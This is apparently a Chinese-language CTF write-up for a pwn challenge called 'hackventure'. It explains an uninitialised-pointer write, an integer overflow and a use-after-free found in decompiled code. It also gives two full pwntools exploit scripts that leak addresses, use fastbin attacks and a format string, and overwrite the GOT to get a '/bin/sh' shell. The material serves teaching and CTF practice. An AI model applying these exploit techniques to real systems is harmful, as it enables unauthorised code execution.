漏洞類型:未定義指針引用、整數(shù)溢出、UAF
利用方法:控制未定義指針、UAF
程序入口:
root@kali ~/桌面# ./hackventure
************************************************
* Welcome to Hackventure (Hack3r's Adventure). *
************************************************
$ list
list - list all commands
help - show usage of a command
map - show map
status - show player's status
go - make movement
explore - explore current location
goodnight - sleep at home until the morning of next day (HP refilled)
local_attack - attack the server at current location (-20 HP)
remote_attack - attack remote server from your bot at current location (-30 HP)
remote_attacks - attack remote servers from your bot at current location (-30 HP)
deploy - deploy something on your bot
proxy - set a parent proxy
buy - buy products from the store
$
在本題中,主要存在三個問題:
問題一 未定義指針引用,看一下local_attack中的實現(xiàn)代碼
printf("You can specify a new name for the owned server.\nName length? ");
v3 = 63LL;
readn_without_null((__int64)&buffer, 63);
length = atoi(&buffer);
if ( Server->nickname && (v4 = strlen((const char *)Server->nickname), v4 >= length) || (v3 = length + 1, (v8 = realloc(0LL, v3)) != 0LL))
{
if ( Server->nickname )
{
v5 = strlen((const char *)Server->nickname);
if ( v5 > (unsigned __int64)length )
v8 = Server->nickname;
}
printf("Name? ", v3);
length = readn_without_null((__int64)v8, length);
Server->nickname = v8;
v2 = (char *)Server->nickname + length;
*v2 = 0;
}
在成功控制一臺服務(wù)器后,可以給這臺機器命名,名稱的長度任意且可控。但是在這兒的邏輯當中,如果在第一次控制時填入了長度為16的字符串,那么當再次控制時,再次使得輸入長度等于16,將會導致v8是一個未定義指針。不難理解,如果可以控制棧上的內(nèi)容的話,就可以實現(xiàn)任意內(nèi)存寫。在同級函數(shù)中,deploy函數(shù)可以在棧上填充的空間比較大
int __fastcall deploy(__int64 a1, __int64 a2)
{
const char *v2; // rbx@3
int v3; // eax@3
int result; // eax@3
__int64 v5; // [sp+0h] [bp-60h]@1
char nptr; // [sp+10h] [bp-50h]@1
printf("How many do you want to deploy? ", a2);
readn_without_null((__int64)&nptr, 63);
...
}
但是實際測試時發(fā)現(xiàn),如果分兩次調(diào)用deploy和local_attack將會導致先前填充的棧被清空,實際上,這是因為觸發(fā)了strtok操作導致棧內(nèi)容發(fā)生改變
__int64 __fastcall parse_command(char *a1, __int64 a2)
{
unsigned int v3; // [sp+14h] [bp-Ch]@1
char *v4; // [sp+18h] [bp-8h]@1
v4 = strtok(a1, " ");
v3 = 0;
while ( v4 )
{
*(_QWORD *)(a2 + 8LL * v3++) = v4;
if ( v3 > 0xF )
return v3;
v4 = strtok(0LL, " ");
}
return v3;
}
那么有沒有可能一次性輸入兩條命令,繼續(xù)看主循環(huán)函數(shù)代碼
for ( i = 0; i <= 12; ++i ) //12次循環(huán)
{
if ( !strcasecmp(*v5, *(const char **)&commands[10 * i + 60]) )
{
if ( commands[10 * i + 62] == v4 )
{
(*(void (__fastcall **)(_QWORD, const char **))&commands[10 * i + 64])(v4, v5);
v4 = 0;
}
else if ( commands[10 * i + 62] >= v4 )
{
puts("wrong arguments");
printf("%s - %s\n usage: %s\n", *v5, *(_QWORD *)&commands[10 * i + 66], *(_QWORD *)&commands[10 * i + 68]);
v4 = 0;
}
else
{
(*(void (__fastcall **)(_QWORD, const char **))&commands[10 * i + 64])(commands[10 * i + 62], v5); //執(zhí)行命令
v4 -= commands[10 * i + 62];
v5 += commands[10 * i + 62]; //v5指針后移,實際上,這里加的是參數(shù)個數(shù)
}
break;
}
}
因此,本題的最終思路為控制血量最少(因為打起來最輕松)的服務(wù)器,并輸入固定長度(長度根據(jù)需要確定)的名稱,然后再去買點商店買點東西,接著回到服務(wù)器所在的位置并先打成殘血,最后在一行命令里面執(zhí)行deploy和local_attack來實現(xiàn)任意內(nèi)存寫。這里選擇將atoi修改printf,接下來就可以用格式化字符串實現(xiàn)地址泄露,并在泄露完成后將atoi修改成system函數(shù),以下是完整的利用代碼
from pwn import *
slog = 0
if slog: context.log_level = True
p = process('./hackventure')
curpos = (0,0)
servers = []
home = (0,0)
store = (0,0)
def init_position():
global curpos
global servers
global home
global store
p.recvuntil('$')
p.sendline('map')
p.recvuntil('+--------------------------------+')
for y in range(16):
#print y
aline = p.recvline()[1:-2]
#print aline
if aline.find('*') != -1:
curpos = (aline.find('*'), y)
if aline.find('S') != -1:
servers.append((aline.find('S'), y))
if aline.find('H') != -1:
home = (aline.find('H'), y)
if aline.find('T') != -1:
store = (aline.find('T'), y)
#print curpos, servers, home, store
def go(position):
global curpos
relativeX = position[0] - curpos[0]
relativeY = position[1] - curpos[1]
command = ''
if relativeX < 0:
command += abs(relativeX) * 'go LEFT\n'
else:
command += abs(relativeX) * 'go RIGHT\n'
if relativeY < 0:
command += abs(relativeY) * 'go UP\n'
else:
command += abs(relativeY) * 'go DOWN\n'
p.recvuntil('$')
p.sendline(command)
curpos = position
#print curpos, servers, home, store
def explore():
global servers
global target
for i in range(len(servers)):
go(servers[i])
p.recvuntil('$')
p.sendline('explore')
p.recvline()
data = p.recvuntil('Status')
if 'HP: 100' in data:
target = servers[i]
break
def local_attack(name = 'aaaa'):
p.recvuntil('$')
p.sendline('local_attack')
p.recvuntil('$')
p.sendline('local_attack')
p.recvuntil('length?')
p.sendline(str(len(name)+1))
p.recvuntil('Name?')
p.sendline(name)
def sleep():
p.recvuntil('$')
p.sendline('goodnight')
p.recvuntil('$')
p.sendline('goodnight')
def buy(count = 92233720368547758, goods_name = 'ExploitKit'):
p.recvuntil('$')
p.sendline('buy {0} {1}'.format(str(count), goods_name))
def deploy(count = 1, goods_name = 'ExploitKit'):
p.recvuntil('$')
p.sendline('deploy ExploitKit')
p.recvuntil('want to deploy?')
p.sendline(str(count))
init_position()
explore()
go(target)
local_attack('a'*8)
go(home)
sleep()
go(target)
p.recvuntil('$')
p.sendline('local_attack')
p.recvuntil('$')
p.sendline('deploy ExploitKit local_attack')
p.recvuntil('want to deploy?')
pwnfile = ELF('hackventure')
p.sendline('a' * 32 + p64(pwnfile.got['atoi']))
p.recvuntil('length?')
p.sendline('8')
p.recvuntil('Name?')
p.sendline(p64(pwnfile.plt['printf']))
def call_printf(format_str):
p.recvuntil('$')
p.sendline('deploy haha')
p.recvuntil('want to deploy?')
p.sendline(format_str)
call_printf("aabb%9$s".ljust(8, 'a') + p64(pwnfile.got['printf']))
p.recvuntil('aabb')
printf_addr = u64(p.recv(6).ljust(8, '\x00'))
print 'printf addr is ', hex(printf_addr)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
system_addr = libc.symbols['system'] - libc.symbols['printf'] + printf_addr
print 'system_addr is',hex(system_addr)
def generate_format(addr, value):
payload = ''
print_count = 0
addr_part = ''
for i in range(3):
two_byte = (value >> (16*i)) & 0xffff
payload += '%{0}c%{1}$hn'.format((two_byte - print_count) % 0x10000, 13 + i)
print_count += (two_byte - print_count) % 0x10000
addr_part += p64(addr + i*2)
payload = payload.ljust(0x28, 'a')
payload += addr_part
return payload
#gdb.attach(p, open('debug'))
call_printf(generate_format(pwnfile.got['atoi'], system_addr))
p.sendline('deploy haha')
p.sendline("/bin/sh")
p.sendline('echo aabb')
p.recvuntil('aabb')
p.interactive()
問題二 整數(shù)溢出
整數(shù)溢出漏洞出現(xiàn)在buy功能中,先看下面的代碼
int __fastcall buy(__int64 a1, __int64 a2)
{
result = map_0[4 * (32LL * y + x)];
if ( result == 3 )
{
for ( i = 0; i <= 3; ++i )
{
result = strcasecmp(*(const char **)(a2 + 16), goods_name[5 * i]);
if ( !result )
{
count = atoi(*(const char **)(a2 + 8));
cost = count * LODWORD(goods_name[5 * i + 3]);// 存在整數(shù)溢出
if ( money < cost )
{
result = puts("Go away, poor man.");
}
else
{
money -= cost;
count沒有范圍限制,那么在輸入一個很大的count值之后cost將會變成負數(shù)(這是最先發(fā)現(xiàn)的問題,然而作用不大)
問題三 UAF
這個漏洞(據(jù)說這個漏洞出題人自己也沒有意識到,不得不佩服大佬們發(fā)現(xiàn)問題的能力,其次,就算是專業(yè)搞安全的人,也不見得寫出來的代碼就是安全的,因此,只要是人寫的代碼,就會有漏洞)出現(xiàn)在deploy功能中
(&hacker)[2 * (j + 2LL)][1] -= a1;
puts("Success.");
LODWORD(v3) = (&hacker)[2 * (j + 2LL)][1];
if ( !(_DWORD)v3 )
LODWORD(v3) = (unsigned __int64)realloc((&hacker)[2 * (j + 2LL)], 0LL);// 等同于free
不難發(fā)現(xiàn),這里在進行了free操作后并沒有將指針置空,那就意味著可以無限次的進行free操作,對應(yīng)商品的結(jié)構(gòu)如下
struct Item
{
_int32 count;
_int32 type; //共4種類型
}
我們可以按下面的方式構(gòu)造堆塊
----------------------- Item1
count(1)+type(1)
----------------------- Item2
count(1)+type(2)
----------------------- Item3
count(1)+type(3)
----------------------- Other block(防止堆塊合并)
Item是使用金幣購買的三種產(chǎn)品。題目默認給定的金幣數(shù)量是100,因為后面需要多次購買,所以可以考慮使用整數(shù)溢出漏洞增加金幣或者反復打HP100的服務(wù)器來掙錢。接下來考慮這樣一種情況:依次free掉Item1、Item2、Item3,然后觸發(fā)local_attack分配內(nèi)存name,此時name將指向Item3,可以將name的內(nèi)容構(gòu)造成count(1)+type(3),就可以觸發(fā)deploy中的free操作,此時Item3已經(jīng)成了fastbin鏈的頭結(jié)點,因此,其fd指針將保存的是Item2的地址,也就是堆地址,這個時候只要調(diào)用一下explore功能就可以打印出堆地址。

到這里,利用似乎陷入了僵局,因為我們沒有辦法控制Item1、Item2、Item3的堆結(jié)構(gòu)。事實上,可以通過分配一塊較大的內(nèi)存來觸發(fā)fastbin合并(當然,這里應(yīng)該還可以通過其他方法來控制內(nèi)存,這里先不討論)

這一步實際上解決了兩個問題:泄露libc地址、將三個fastbin合并成一個大的堆塊?,F(xiàn)在,我們已經(jīng)可以通過申請大小為0x50的內(nèi)存的方式來控制Item2、Item3的完整堆結(jié)構(gòu)了,后面可以按照下述思路拿shell:一、通過fastbin attack在main_arena上寫入0x80用作堆頭 二、再次通過fastbin attack控制main_arena的top指針(指向got表) 三、申請一塊內(nèi)存(大小為0x70)即可獲得指向got的指針,此時可將修改aoti函數(shù)修改為system。在看writeup的時候,還提到了另外一種思路:通過修改stdout指針的方式去控制printf,有興趣的同學可以試試。下面是完整的利用代碼:
from pwn import *
slog = 0
debug = 1
if slog: context.log_level = True
p = process('./hackventure')
curpos = (0,0)
servers = []
home = (0,0)
store = (0,0)
def init_position():
global curpos
global servers
global home
global store
p.recvuntil('$')
p.sendline('map')
p.recvuntil('+--------------------------------+')
for y in range(16):
aline = p.recvline()[1:-2]
if aline.find('*') != -1:
curpos = (aline.find('*'), y)
while aline.find('S') != -1:
posX = aline.find('S')
servers.append((posX, y))
aline = aline[:posX] + 'x' + aline[posX+1:]
if aline.find('H') != -1:
home = (aline.find('H'), y)
if aline.find('T') != -1:
store = (aline.find('T'), y)
#print curpos, servers, home, store
def go(position):
global curpos
relativeX = position[0] - curpos[0]
relativeY = position[1] - curpos[1]
command = ''
if relativeX < 0:
command += abs(relativeX) * 'go LEFT\n'
else:
command += abs(relativeX) * 'go RIGHT\n'
if relativeY < 0:
command += abs(relativeY) * 'go UP\n'
else:
command += abs(relativeY) * 'go DOWN\n'
p.recvuntil('$')
p.sendline(command)
curpos = position
#print curpos, servers, home, store
def explore_all():
global servers
global target
global target2
for i in range(len(servers)):
go(servers[i])
p.recvuntil('$')
p.sendline('explore')
p.recvuntil('IP: ')
aline = p.recvline()
servers[i] = (servers[i], aline[:-1])
data = p.recvuntil('Status')
if 'HP: 100' in data:
target = servers[i][0]
if 'HP: 200' in data:
target2 = servers[i]
def local_attack(times = 2, success = True, name = 'aaaa', length = -1):
for i in range(times):
p.recvuntil('$')
p.sendline('local_attack')
if success:
p.recvuntil('length?')
if length != -1:
p.sendline(str(length))
else:
p.sendline(str(len(name)+1))
p.recvuntil('Name?')
p.sendline(name)
def remote_attack(server, ip):
p.recvuntil('$')
p.sendline('remote_attack ' + ip)
def rest():
p.recvuntil('$')
p.sendline('goodnight')
p.recvuntil('$')
p.sendline('goodnight')
def buy(count = 92233720368547758, goods_name = 'ExploitKit'):
p.recvuntil('$')
p.sendline('buy {0} {1}'.format(str(count), goods_name))
def deploy(count = 1, goods_name = 'ExploitKit'):
p.recvuntil('$')
p.sendline('deploy ' + goods_name)
p.recvuntil('want to deploy?')
p.sendline(str(count))
def explore():
p.recvuntil('$')
p.sendline('explore')
init_position()
explore_all()
goods_name = ['ExploitKit', 'SafeLine', 'D-Sensor', 'Proxy']
godds_price = {'ExploitKit': 200, 'SafeLine': 100, 'D-Sensor':50}
go(store)
special_count = (1 << 64) / 200 - 200
#make money
buy(special_count, 'ExploitKit')
buy(1, goods_name[1])
buy(1, goods_name[2])
buy(1, goods_name[3])
go(target)
local_attack()
for i in range(2):
deploy(1, goods_name[1])
deploy(1, goods_name[2])
deploy(1, goods_name[3])
remote_attack(target, target2[1])
go(home)
rest()
go(target2[0])
local_attack(3, True, p32(2) + p32(1))
buy(1, goods_name[2])
for i in range(5):
deploy(1, goods_name[2])
#leak heap addr
deploy(1, goods_name[1])
#deploy((special_count & 0xffffffff), goods_name[0])
explore()
p.recvuntil('Name: ')
heap_addr = u64(p.recvline()[:-1].ljust(8, '\x00')) - 0x40
print 'heap_addr is', hex(heap_addr)
def rename(_name = 'aaaa', _length = -1):
go(home)
rest()
rest()
go(target)
local_attack(name = _name, length = _length)
#leak libc addr and trigger malloc_consolidate
rename(p64(0x70) + p64(0x21) + p64(0x80) + p64(0x21), 0x20000)
go(target2[0])
if debug: gdb.attach(p, open('debug'))
explore()
p.recvuntil('Name: ')
leak_libc_addr = u64(p.recvline()[:-1].ljust(8, '\x00')) - 0x40
print 'leak libc addr is', hex(leak_libc_addr)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
libc_base = leak_libc_addr - 0x398b00 - 0x18
rename(p32(1) + p32(1) + p64(0)*2 + p64(0x71) + p32(2) + p32(1), 0x50)
deploy(1, goods_name[2])
deploy(1, goods_name[1])
#create fake heap in main_arena
rename(p32(1) +p32(1) + p64(0)*2 + p64(0x71) + p64(0x80), 0x50)
rename('aaaa', 0x60)
deploy(1, goods_name[1])
rename(p32(1) +p32(1) + p64(0)*2 + p64(0x81) + p32(2) + p32(1), 0x50)
deploy(1, goods_name[2])
deploy(1, goods_name[1])
rename(p32(1) +p32(1) + p64(0)*2 + p64(0x81) + p64(leak_libc_addr + 0x10), 0x50)
rename('aaaaaa', 0x70)
#alert main_arena->top to GOT table
rename(p64(0)*4 + p64(0x604080), 0x70)
#alert GOT of atoi to system
system_addr = libc_base + libc.symbols['system']
rename(p64(0x400916) + p64(system_addr), 0xa0)
p.recvuntil('$ ')
p.sendline('deploy hackit')
p.recvuntil('want to deploy?')
p.sendline('/bin/sh')
p.interactive()
參考資料:
https://pwnhub.cn/media/writeup/112/5979cf77-0a4a-4095-bd6f-2eebc88a34f8_e5804144.pdf
https://pwnhub.cn/media/writeup/115/00e617c5-c794-456d-a656-3b8277a578bb_8282c1d1.pdf